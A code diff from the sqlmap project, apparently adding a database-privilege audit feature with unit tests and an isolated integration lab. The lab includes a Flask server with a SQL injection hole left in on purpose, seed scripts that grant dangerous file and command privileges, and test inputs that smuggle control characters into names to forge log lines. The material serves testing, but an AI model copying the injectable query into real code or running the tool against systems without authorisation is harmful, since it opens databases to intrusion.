assert 'linked servers / visible linked servers: 27' in bounded
|
||||
assert sum(line.startswith('linked servers / link ') for line in bounded) == AUDIT_MAX_ROWS
|
||||
assert 'Linked servers: showing 20 of 27; use --links for the full list' in bounded
|
||||
# The control-character name sorts outside the first details by server_id; test it separately below.
|
||||
if not args.native_only:
|
||||
scan('mssql','admin','U',bounded)
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
sql('mssql','sa', "EXEC sp_dropserver @server=N'audit_bound_%02d',@droplogins='droplogins'" % index)
|
||||
hostile_result = native('mssql','sa')
|
||||
assert any('audit_control\\n[*] forged\\r\\x1b[2J' in line for line in hostile_result)
|
||||
assert not any('\n' in line or '\r' in line or '\x1b' in line for line in hostile_result)
|
||||
if not args.native_only:
|
||||
scan('mssql','admin','U',hostile_result)
|
||||
sql('mssql','sa', "EXEC sp_dropserver @server=N'%s',@droplogins='droplogins'" % hostile)
|
||||
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
path = "/tmp/audit-bound-%02d" % index if index else "/tmp/audit\n[*] forged\x1b[2J"
|
||||
sql('oracle','sys', "CREATE DIRECTORY AUDIT_BOUND_%02d AS '%s'" % (index,path))
|
||||
sql('oracle','sys', 'GRANT READ ON DIRECTORY AUDIT_BOUND_%02d TO audit_owner' % index)
|
||||
bounded = native('oracle','audit_owner')
|
||||
assert sum(line.startswith('directory grants / ') and '/ visible directory grants:' not in line for line in bounded) == AUDIT_MAX_ROWS
|
||||
assert any(line.startswith('Directory grants: showing 20 of ') for line in bounded)
|
||||
assert any('audit\\n[*] forged\\x1b[2J' in line for line in bounded)
|
||||
if not args.native_only:
|
||||
scan('oracle','admin','U',bounded)
|
||||
for index in range(AUDIT_MAX_ROWS + 5):
|
||||
sql('oracle','sys','DROP DIRECTORY AUDIT_BOUND_%02d' % index)
|
||||
print('Bounded listings and control-character scenarios PASS', flush=True)
|
||||
|
||||
if not args.native_only:
|
||||
jobs = []
|
||||
for engine in ENGINES:
|
||||
for alias in ('admin','app','limited'):
|
||||
jobs.append((engine,alias,'U'))
|
||||
if engine not in ('mysql-open','mysql-disabled'):
|
||||
jobs.append((engine,'app','B'))
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as pool:
|
||||
futures = [pool.submit(scan,engine,alias,technique,expected[engine,alias]) for engine,alias,technique in jobs]
|
||||
for future in futures:
|
||||
future.result()
|
||||
print('Audit matrix PASS; logs: %s' % logs, flush=True)
|
||||
finally:
|
||||
if not args.keep:
|
||||
command(compose + ['down','--volumes','--remove-orphans'])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
73
tests/integration/audit/seed.py
Normal file
73
tests/integration/audit/seed.py
Normal file
|
|
@ -0,0 +1,73 @@
|
|||
#!/usr/bin/env python
|
||||
"""Create test accounts and known grants only in the disposable audit databases."""
|
||||
import time
|
||||
from db import connect, engine
|
||||
|
||||
admin = {'mysql': 'root', 'mariadb': 'root', 'postgres': 'postgres', 'mssql': 'sa', 'oracle': 'sys'}[engine]
|
||||
for attempt in range(120):
|
||||
try:
|
||||
conn = connect(admin)
|
||||
break
|
||||
except Exception:
|
||||
if attempt == 119:
|
||||
raise
|
||||
time.sleep(1)
|
||||
cursor = conn.cursor()
|
||||
|
||||
|
||||
def execute(sql):
|
||||
cursor.execute(sql)
|
||||
|
||||
|
||||
if engine in ('mysql', 'mariadb'):
|
||||
execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute("CREATE USER '%s'@'%%' IDENTIFIED BY 'AuditOnly!2026'" % user)
|
||||
execute("GRANT SELECT ON auditlab.* TO '%s'@'%%'" % user)
|
||||
execute("GRANT SELECT ON performance_schema.* TO 'audit_app'@'%'")
|
||||
execute("GRANT FILE ON *.* TO 'audit_app'@'%'")
|
||||
elif engine == 'postgres':
|
||||
execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute("CREATE USER %s WITH PASSWORD 'AuditOnly!2026'" % user)
|
||||
execute('GRANT SELECT ON users TO %s' % user)
|
||||
execute('GRANT pg_read_server_files TO audit_app')
|
||||
execute('GRANT pg_write_server_files TO audit_app')
|
||||
execute("ALTER ROLE audit_app SET row_security=off")
|
||||
elif engine == 'mssql':
|
||||
execute('CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(100),surname VARCHAR(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute("CREATE LOGIN %s WITH PASSWORD='AuditOnly!2026',CHECK_POLICY=OFF" % user)
|
||||
execute('CREATE USER %s FOR LOGIN %s' % (user,user))
|
||||
execute('GRANT SELECT ON users TO %s' % user)
|
||||
execute('DENY SELECT ON OBJECT::sys.configurations TO audit_limited')
|
||||
execute('DENY SELECT ON OBJECT::sys.servers TO audit_limited')
|
||||
execute("EXEC sp_configure 'show advanced options',1")
|
||||
execute('RECONFIGURE')
|
||||
execute("EXEC sp_configure 'clr enabled',1")
|
||||
execute('RECONFIGURE')
|
||||
execute("EXEC sp_addlinkedserver @server=N'audit_reporting',@srvproduct=N'',@provider=N'MSOLEDBSQL',@datasrc=N'reporting.invalid'")
|
||||
execute("EXEC sp_serveroption @server=N'audit_reporting',@optname=N'rpc out',@optvalue=N'true'")
|
||||
else:
|
||||
execute('GRANT DBA TO audit_owner')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute('CREATE USER %s IDENTIFIED BY "AuditOnly!2026"' % user)
|
||||
execute('GRANT CREATE SESSION TO %s' % user)
|
||||
execute('CREATE TABLE audit_owner.users (id NUMBER PRIMARY KEY,name VARCHAR2(100),surname VARCHAR2(100))')
|
||||
for user in ('audit_app', 'audit_limited'):
|
||||
execute('GRANT SELECT ON audit_owner.users TO %s' % user)
|
||||
execute('CREATE SYNONYM %s.users FOR audit_owner.users' % user)
|
||||
execute('CREATE SYNONYM system.users FOR audit_owner.users')
|
||||
execute('GRANT SELECT ON sys.v_$parameter TO audit_app')
|
||||
execute("CREATE DIRECTORY AUDIT_FILES AS '/tmp/audit-files'")
|
||||
execute('GRANT READ ON DIRECTORY AUDIT_FILES TO audit_app')
|
||||
execute('CREATE SYNONYM audit_owner.audit_fixture_users FOR audit_owner.users')
|
||||
# Insert into the application schema; the SYS/SYSTEM account is only the fixture provisioner.
|
||||
execute("INSERT INTO audit_owner.users VALUES (1,'luther','blisset')")
|
||||
execute("INSERT INTO audit_owner.users VALUES (2,'fluffy','bunny')")
|
||||
conn.commit()
|
||||
if engine != 'oracle':
|
||||
execute("INSERT INTO users VALUES (1,'luther','blisset')")
|
||||
execute("INSERT INTO users VALUES (2,'fluffy','bunny')")
|
||||
conn.close()
|
||||
print('%s fixture seeded' % engine)
|
||||
35
tests/integration/audit/server.py
Normal file
35
tests/integration/audit/server.py
Normal file
|
|
@ -0,0 +1,35 @@
|
|||
#!/usr/bin/env python
|
||||
"""Deliberately injectable HTTP fixture. Run only on the isolated audit lab network."""
|
||||
import html
|
||||
from flask import Flask, request
|
||||
from db import connect, engine
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.get('/<account>/get_int')
|
||||
def query(account):
|
||||
accounts = {'admin': {'mysql': 'root', 'mariadb': 'root', 'postgres': 'postgres', 'mssql': 'sa', 'oracle': 'audit_owner'},
|
||||
'app': dict.fromkeys(('mysql', 'mariadb', 'postgres', 'mssql', 'oracle'), 'audit_app'),
|
||||
'limited': dict.fromkeys(('mysql', 'mariadb', 'postgres', 'mssql', 'oracle'), 'audit_limited')}
|
||||
if account not in accounts:
|
||||
return 'unknown account', 404
|
||||
conn = None
|
||||
try:
|
||||
conn = connect(accounts[account][engine], pooled=True)
|
||||
cursor = conn.cursor()
|
||||
cursor.execute('SELECT id,name,surname FROM users WHERE id=%s' % request.args.get('id', '1'))
|
||||
rows = cursor.fetchall()
|
||||
body = '<html><body><table>'
|
||||
for row in rows:
|
||||
body += '<tr>' + ''.join('<td>%s</td>' % html.escape('' if value is None else str(value)) for value in row) + '</tr>'
|
||||
return body + '</table></body></html>'
|
||||
except Exception as ex:
|
||||
# Render the driver's message, not Python's repr of its argument tuple.
|
||||
message = next((value for value in ex.args if isinstance(value, str)), str(ex))
|
||||
return '<html><body>%s</body></html>' % html.escape(message)
|
||||
finally:
|
||||
if conn is not None:
|
||||
conn.close()
|
||||
|
||||
|
||||
app.run(host='0.0.0.0', port=8080, threaded=True)
|
||||
|
|
@ -186,6 +186,12 @@ class TestPrefixSuffix(unittest.TestCase):
|
|||
|
||||
|
||||
class TestGetFields(unittest.TestCase):
|
||||
def test_multiline_scalar_literal(self):
|
||||
field = "HEX('a;\n b')"
|
||||
result = agent.getFields("SELECT %s" % field)
|
||||
self.assertEqual(result[5], [field])
|
||||
self.assertEqual(result[6], field)
|
||||
|
||||
def test_extracts_select_list(self):
|
||||
# getFields(query) returns an 8-tuple; the fields-bearing slots are:
|
||||
# [0],[1] = regex match objects for the SELECT/expression (must be found, not None)
|
||||
|
|
@ -556,6 +562,21 @@ class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase):
|
|||
out = agent.cleanupPayload("p=[ORIGINAL]", origValue="raw")
|
||||
self.assertEqual(out, "p=raw")
|
||||
|
||||
def test_origvalue_identifier_raw_for_group_order_by(self):
|
||||
self.assertEqual(agent.cleanupPayload("[ORIGVALUE]", origValue="p.name", clause=[2, 3]), "p.name")
|
||||
self.assertIn("'p.name'", agent.cleanupPayload("[ORIGVALUE]", origValue="p.name", clause=[1, 2, 3]))
|
||||
|
||||
def test_random_values_avoid_string_marker(self):
|
||||
# a reflected [RANDNUM] (e.g. quoted back in a DBMS error message) containing the --string
|
||||
# marker would fake a True response (e.g. --string=98 vs. 8988)
|
||||
saved = conf.string
|
||||
conf.string = "9"
|
||||
try:
|
||||
for _ in range(200):
|
||||
self.assertNotIn("9", agent.cleanupPayload("[RANDNUM] [RANDNUM1]"))
|
||||
finally:
|
||||
conf.string = saved
|
||||
|
||||
def test_space_replace_marker(self):
|
||||
out = agent.cleanupPayload("a[SPACE_REPLACE]b")
|
||||
self.assertEqual(out, "a%sb" % kb.chars.space)
|
||||
|
|
|
|||
|
|
@ -30,6 +30,7 @@ bootstrap()
|
|||
|
||||
import lib.utils.api as api
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.convert import encodeBase64
|
||||
from lib.core.enums import CONTENT_STATUS, CONTENT_TYPE
|
||||
from thirdparty.bottle.bottle import default_app
|
||||
|
|
@ -308,6 +309,63 @@ class TestStdDbOutAndLogRecorder(unittest.TestCase):
|
|||
self.assertEqual(rows[0][2], "hello world")
|
||||
|
||||
|
||||
class TestStdDbOutMultiTarget(unittest.TestCase):
|
||||
"""
|
||||
Regression coverage for issue #2503: a multi-target scan (crawl or '-m' bulk
|
||||
file) inside a single REST API task runs every target through one StdDbOut
|
||||
instance. StdDbOut.write() keys each target's data rows by kb.reportTaskId
|
||||
('<taskid>-<n>'), so a later target's COMPLETE row cannot delete an earlier
|
||||
target's rows of the same content_type in _storeData() - mirroring the
|
||||
--report-json fix for #6123 (see test_report.py's TestMultiTargetTaskId).
|
||||
"""
|
||||
|
||||
def setUp(self):
|
||||
self.db = api.Database(":memory:")
|
||||
self.db.connect("client")
|
||||
self.db.init()
|
||||
self._saved_stdout = sys.stdout
|
||||
self._saved_cursor = conf.get("databaseCursor")
|
||||
self._saved_partRun = kb.get("partRun")
|
||||
self._had_reportTaskId = "reportTaskId" in kb
|
||||
self._saved_reportTaskId = kb.get("reportTaskId")
|
||||
conf.databaseCursor = self.db
|
||||
kb.partRun = None
|
||||
|
||||
def tearDown(self):
|
||||
sys.stdout = self._saved_stdout
|
||||
conf.databaseCursor = self._saved_cursor
|
||||
kb.partRun = self._saved_partRun
|
||||
if self._had_reportTaskId:
|
||||
kb.reportTaskId = self._saved_reportTaskId
|
||||
elif "reportTaskId" in kb:
|
||||
del kb.reportTaskId
|
||||
self.db.disconnect()
|
||||
|
||||
def test_second_target_does_not_overwrite_first(self):
|
||||
std = api.StdDbOut("t1", messagetype="stdout")
|
||||
sys.stdout = self._saved_stdout # StdDbOut hijacked it; call write() directly
|
||||
|
||||
kb.reportTaskId = 1
|
||||
std.write({"url": "http://host1/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET)
|
||||
kb.reportTaskId = 2
|
||||
std.write({"url": "http://host2/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET)
|
||||
|
||||
rows = self.db.execute("SELECT taskid FROM data ORDER BY id")
|
||||
self.assertEqual([row[0] for row in rows], ["t1-1", "t1-2"]) # neither target's row was deleted
|
||||
|
||||
def test_without_report_task_id_keeps_plain_taskid(self):
|
||||
# e.g. output written before controller.start() reaches its target loop
|
||||
if "reportTaskId" in kb:
|
||||
del kb.reportTaskId
|
||||
std = api.StdDbOut("t1", messagetype="stdout")
|
||||
sys.stdout = self._saved_stdout
|
||||
|
||||
std.write({"url": "http://host1/?id=1"}, status=CONTENT_STATUS.COMPLETE, content_type=CONTENT_TYPE.TARGET)
|
||||
|
||||
rows = self.db.execute("SELECT taskid FROM data")
|
||||
self.assertEqual([row[0] for row in rows], ["t1"])
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# HTTP routes (WSGI test client)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
|
@ -485,6 +543,26 @@ class TestScanQueryRoutes(_ApiServerCase):
|
|||
self.assertFalse(parsed["success"])
|
||||
|
||||
|
||||
class TestScanDataMultiTarget(_ApiServerCase):
|
||||
"""scan_data() folds the per-target '<taskid>-<n>' rows (see StdDbOut.write) back into the task's flat result, in target order."""
|
||||
|
||||
def test_data_merges_per_target_rows(self):
|
||||
taskid = self._new_task()
|
||||
api._storeData(self.db, "%s-2" % taskid, {"url": "http://host2/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET)
|
||||
api._storeData(self.db, "%s-1" % taskid, {"url": "http://host1/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET)
|
||||
code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid)
|
||||
self.assertEqual(code, 200)
|
||||
self.assertTrue(parsed["success"])
|
||||
self.assertEqual([d["value"]["url"] for d in parsed["data"]], ["http://host1/?id=1", "http://host2/?id=1"])
|
||||
|
||||
def test_data_ignores_other_tasks_rows(self):
|
||||
taskid = self._new_task()
|
||||
api._storeData(self.db, "othertask-1", {"url": "http://other/?id=1"}, CONTENT_STATUS.COMPLETE, CONTENT_TYPE.TARGET)
|
||||
code, parsed, _ = _wsgi_call("GET", "/scan/%s/data" % taskid)
|
||||
self.assertTrue(parsed["success"])
|
||||
self.assertEqual(parsed["data"], [])
|
||||
|
||||
|
||||
class TestScanStart(_ApiServerCase):
|
||||
"""scan_start, with the subprocess-spawning seam (engine_start) monkeypatched."""
|
||||
|
||||
|
|
|
|||
244
tests/test_audit.py
Normal file
244
tests/test_audit.py
Normal file
|
|
@ -0,0 +1,244 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Audit acquisition preserves NULL/empty/unknown states and interpretation boundaries.
|
||||
Real DBMS/SQLi coverage is opt-in under tests/integration/audit/.
|
||||
"""
|
||||
|
||||
import importlib
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.data import conf, kb, paths, queries
|
||||
from lib.core.enums import DBMS, FORK, EXPECTED, PAYLOAD
|
||||
from lib.core.settings import DBMS_DIRECTORY_DICT
|
||||
from lib.request import inject
|
||||
from plugins.generic.audit import Audit
|
||||
from plugins.generic.databases import Databases
|
||||
|
||||
tearDownModule = reset_dbms
|
||||
|
||||
|
||||
class TestAudit(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self._saved = dict(conf)
|
||||
self._cache = kb.data.get('cachedAudit')
|
||||
self._getValue = inject.getValue
|
||||
self._forced = kb.get('forcedDbms')
|
||||
self._injection = kb.injection.data
|
||||
self._gadget = kb.get("gadget")
|
||||
kb.injection.data = {}
|
||||
kb.gadget = None
|
||||
conf.direct = False
|
||||
kb.data.cachedAudit = []
|
||||
set_dbms(DBMS.MYSQL)
|
||||
|
||||
def tearDown(self):
|
||||
kb.injection.data = self._injection
|
||||
kb.gadget = self._gadget
|
||||
inject.getValue = self._getValue
|
||||
kb.data.cachedAudit = self._cache
|
||||
kb.forcedDbms = self._forced
|
||||
conf.clear()
|
||||
conf.update(self._saved)
|
||||
|
||||
def test_preserves_null_empty_and_marker_like_values(self):
|
||||
inject.getValue = lambda *a, **k: [['null', 'N'], ['empty', 'V'], ['text', 'VNULL'], ['prefix', 'VVvalue'], ['padded ', 'Vkeep '], ['trailing\n', 'Vvalue']]
|
||||
audit = Audit()
|
||||
audit.dbms = DBMS.MYSQL
|
||||
self.assertEqual(audit._auditFetch('audit_identity'), {'null': None, 'empty': '', 'text': 'NULL', 'prefix': 'Vvalue', 'padded': 'keep ', 'trailing\n': 'value'})
|
||||
|
||||
def test_single_row_and_failed_results(self):
|
||||
audit = Audit()
|
||||
audit.dbms = DBMS.MYSQL
|
||||
for value, expected in ((['name', 'Vvalue'], {'name': 'value'}), (None, None), ([], None), (['truncated'], None), ([['key', 'invalid']], None)):
|
||||
inject.getValue = lambda *a, **k: value
|
||||
self.assertEqual(audit._auditFetch('audit_identity'), expected)
|
||||
|
||||
def test_major_dbmses_dispatch_without_xml_audit_blocks(self):
|
||||
inject.getValue = lambda *a, **k: [['effective account', 'Vtest']]
|
||||
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
d = Databases()
|
||||
self.assertNotIn('audit', queries[dbms])
|
||||
result = d.getAudit()
|
||||
self.assertTrue(any('test' in item for item in result))
|
||||
self.assertFalse(any('OS boundary:' in item for item in result))
|
||||
|
||||
def test_unsupported_dbmses_do_not_query(self):
|
||||
inject.getValue = lambda *a, **k: self.fail('unsupported DBMS must not query')
|
||||
for dbms in queries:
|
||||
if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
self.assertEqual(Databases().getAudit(), [])
|
||||
|
||||
def test_failures_are_not_reported_as_disabled(self):
|
||||
inject.getValue = lambda *a, **k: None
|
||||
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
result = Databases().getAudit()
|
||||
self.assertTrue(any('retrieval failed' in item for item in result))
|
||||
self.assertFalse(any(item.endswith(': disabled') for item in result))
|
||||
|
||||
def test_cache_and_bulk_queries_use_existing_extraction(self):
|
||||
calls = []
|
||||
def getValue(query, **kwargs):
|
||||
self.assertTrue(kwargs.get('fromUser'))
|
||||
self.assertTrue(kwargs.get('batch'))
|
||||
self.assertNotIn('\n', query)
|
||||
self.assertNotIn('\r', query)
|
||||
calls.append(query)
|
||||
return [['effective account', 'Vtest']]
|
||||
inject.getValue = getValue
|
||||
d = Databases()
|
||||
result = d.getAudit()
|
||||
count = len(calls)
|
||||
self.assertEqual(count, 4)
|
||||
self.assertEqual(d.getAudit(), result)
|
||||
self.assertEqual(len(calls), count)
|
||||
|
||||
def test_mysql_directory_null_and_empty_are_different(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
audit = MySQLAudit()
|
||||
cases = ((None, 'blocks'), ('NULL', 'blocks'), ('', 'no directory restriction'), ('/var/lib/mysql-files/', 'must be inside'))
|
||||
for value, expected in cases:
|
||||
result = audit.explain({'file access': {'secure_file_priv': value}})
|
||||
self.assertTrue(any(expected in item for item in result))
|
||||
self.assertFalse(any('must be inside' in item for item in audit.explain({})))
|
||||
|
||||
def test_mariadb_selects_fork_specific_configuration(self):
|
||||
from lib.core.common import Backend
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
original = Backend.isFork
|
||||
Backend.isFork = staticmethod(lambda fork: fork == FORK.MARIADB)
|
||||
try:
|
||||
self.assertEqual(MySQLAudit().queries[1][1][0], 'audit_configuration_mariadb')
|
||||
self.assertFalse(any('blocks' in item for item in MySQLAudit().explain({'file access': {'secure_file_priv': None}})))
|
||||
finally:
|
||||
Backend.isFork = staticmethod(original)
|
||||
|
||||
def test_mssql_explicit_permission_denial(self):
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
audit = MSSQLAudit()
|
||||
groups = {'permissions': {'read configuration metadata': '0'}}
|
||||
self.assertEqual(audit.failure('configuration', groups), 'configuration: SELECT permission missing on master.sys.configurations')
|
||||
self.assertEqual(audit.failure('linked servers', groups), 'linked servers: retrieval failed')
|
||||
|
||||
def test_guidance_requires_retrieved_capabilities(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
from plugins.dbms.oracle.audit import Audit as OracleAudit
|
||||
for audit in (MySQLAudit(), PostgreSQLAudit(), MSSQLAudit(), OracleAudit()):
|
||||
self.assertEqual(audit.explain({}), [])
|
||||
self.assertEqual(MySQLAudit().explain({'privileges': {'direct FILE grant': '0'}}), [])
|
||||
result = MySQLAudit().explain({'file access': {'secure_file_priv': '/allowed/', 'max_allowed_packet': '1024'}, 'privileges': {'direct FILE grant': '1'}})
|
||||
self.assertTrue(any('must be inside' in item for item in result))
|
||||
self.assertTrue(any('file size < 1024 bytes' in item for item in result))
|
||||
result = MySQLAudit().explain({'file access': {'secure_file_priv': None}, 'privileges': {'direct FILE grant': '1'}})
|
||||
self.assertFalse(any('FILE granted; use' in item for item in result))
|
||||
result = PostgreSQLAudit().explain({'privileges': {'superuser': '0', 'pg_read_server_files': '1', 'pg_execute_server_program': '0'}})
|
||||
self.assertTrue(any('--file-read' in item for item in result))
|
||||
self.assertFalse(any('--os-cmd' in item for item in result))
|
||||
result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '0'}})
|
||||
self.assertTrue(any('EXECUTE permission missing' in item for item in result))
|
||||
self.assertFalse(any('--os-cmd' in item for item in result))
|
||||
conf.direct = True
|
||||
result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '0'}, 'identity': {'sysadmin': '1'}})
|
||||
self.assertTrue(any('can enable xp_cmdshell' in item for item in result))
|
||||
result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '1'}})
|
||||
self.assertTrue(any('--os-cmd' in item for item in result))
|
||||
result = PostgreSQLAudit().explain({'privileges': {'pg_execute_server_program': '1'}})
|
||||
self.assertTrue(any('--os-cmd' in item for item in result))
|
||||
|
||||
def test_execution_advice_uses_known_routes_without_probing(self):
|
||||
from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
inject.getValue = lambda *a, **k: self.fail('guidance must not send probes')
|
||||
pg = {'privileges': {'pg_execute_server_program': '1'}}
|
||||
ms = {'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '1'}}
|
||||
for audit, groups in ((PostgreSQLAudit(), pg), (MSSQLAudit(), ms)):
|
||||
for route in ('none', 'stacked', 'gadget', 'direct'):
|
||||
kb.injection.data = {PAYLOAD.TECHNIQUE.STACKED: {'title': 'stacked queries'}} if route == 'stacked' else {}
|
||||
kb.gadget = {'command': 'known gadget'} if route == 'gadget' else None
|
||||
conf.direct = route == 'direct'
|
||||
result = audit.explain(groups)
|
||||
self.assertEqual(any('--os-cmd' in item for item in result), route != 'none')
|
||||
self.assertEqual(any('no statement execution route identified' in item for item in result), route == 'none')
|
||||
|
||||
def test_rls_setting_does_not_grant_bypass(self):
|
||||
from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit
|
||||
result = PostgreSQLAudit().explain({'configuration': {'row_security': 'off'}, 'privileges': {'superuser': '0', 'bypass RLS': '0'}})
|
||||
self.assertFalse(any('bypasses' in item for item in result))
|
||||
result = PostgreSQLAudit().explain({'privileges': {'bypass RLS': '1'}})
|
||||
self.assertTrue(any('bypasses' in item for item in result))
|
||||
|
||||
def test_empty_result_requires_confirmed_zero_count(self):
|
||||
audit = Audit()
|
||||
audit.dbms = DBMS.MYSQL
|
||||
for count, expected in ((0, {}), ('0', {}), ([[0]], {}), (None, None), ('1', None)):
|
||||
calls = []
|
||||
def getValue(query, **kwargs):
|
||||
calls.append(query)
|
||||
return count if kwargs.get('expected') == EXPECTED.INT else None
|
||||
inject.getValue = getValue
|
||||
self.assertEqual(audit._auditFetch('audit_identity'), expected)
|
||||
self.assertEqual(len(calls), 2)
|
||||
audit.queries = (('empty scope', ('audit_identity',)),)
|
||||
inject.getValue = lambda query, **kwargs: 0 if kwargs.get('expected') == EXPECTED.INT else None
|
||||
self.assertEqual(audit.getAudit(), ['empty scope: no entries'])
|
||||
|
||||
def test_control_characters_are_escaped_in_facts_and_guidance(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
value = "/allowed/\n[*] forged\r\x1b[2J"
|
||||
inject.getValue = lambda query, **kwargs: [['secure_file_priv', 'V' + value]] if '@@GLOBAL.secure_file_priv' in query else [['name\nforged', 'Vsafe']]
|
||||
result = MySQLAudit().getAudit()
|
||||
self.assertTrue(any('\\n[*] forged' in item for item in result))
|
||||
self.assertFalse(any(any(char in item for char in ('\n', '\r', '\x1b')) for item in result))
|
||||
|
||||
def test_listing_summary_reports_displayed_and_total(self):
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
from plugins.dbms.oracle.audit import Audit as OracleAudit
|
||||
links = {'visible linked servers': '200', 'link one': 'destination'}
|
||||
self.assertIn('Linked servers: showing 1 of 200; use --links for the full list', MSSQLAudit().explain({'linked servers': links}))
|
||||
grants = {'visible directory grants': '200', 'ONE [READ]': '/one'}
|
||||
self.assertEqual(OracleAudit().explain({'directory grants': grants}), ['Directory grants: showing 1 of 200'])
|
||||
|
||||
def test_only_observed_settings_are_listed_once(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
def getValue(query, **kwargs):
|
||||
if '@@GLOBAL.secure_file_priv' in query:
|
||||
return [['secure_file_priv', 'V/allowed/']]
|
||||
return [['local_infile', 'VOFF']]
|
||||
inject.getValue = getValue
|
||||
result = MySQLAudit().getAudit()
|
||||
self.assertFalse(any('super_read_only' in item for item in result))
|
||||
self.assertEqual(sum('/ secure_file_priv:' in item for item in result), 1)
|
||||
self.assertFalse(any('not established' in item or 'does not establish' in item for item in result))
|
||||
|
||||
def test_snippets_are_single_read_only_statements(self):
|
||||
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
audit = importlib.import_module('plugins.dbms.%s.audit' % DBMS_DIRECTORY_DICT[dbms]).Audit()
|
||||
for scope, snippets in audit.queries:
|
||||
for snippet in snippets:
|
||||
sql = getSQLSnippet(dbms, snippet, LIMIT="20")
|
||||
self.assertTrue(sql.startswith('SELECT '))
|
||||
self.assertNotIn(';', sql.replace('; RPC out: ', ''))
|
||||
self.assertIn('audit_value', sql)
|
||||
|
||||
def test_help_is_one_line(self):
|
||||
output = subprocess.check_output([sys.executable, os.path.join(paths.SQLMAP_ROOT_PATH, 'sqlmap.py'), '-hh'])
|
||||
lines = [line for line in output.decode('utf-8').splitlines() if '--audit' in line]
|
||||
self.assertEqual(len(lines), 1)
|
||||
self.assertLessEqual(len(lines[0]), 78)
|
||||
364
tests/test_authrefresh.py
Normal file
364
tests/test_authrefresh.py
Normal file
|
|
@ -0,0 +1,364 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Authentication refresh hook loading and replay against a local HTTP server.
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import threading
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb, paths, cmdLineOptions
|
||||
from lib.core.enums import MKSTEMP_PREFIX, REDIRECTION
|
||||
from lib.core.exception import SqlmapConnectionException, SqlmapFilePathException, SqlmapSyntaxException
|
||||
from lib.core.option import _setAuthRefreshFunction, _setKnowledgeBaseAttributes
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.request import authrefresh
|
||||
from lib.request.connect import Connect
|
||||
from lib.request.redirecthandler import SmartRedirectHandler
|
||||
from thirdparty.six.moves import BaseHTTPServer, socketserver
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
_GET_PAGE = Connect.__dict__['getPage']
|
||||
_QUERY_PAGE = Connect.__dict__['queryPage']
|
||||
|
||||
|
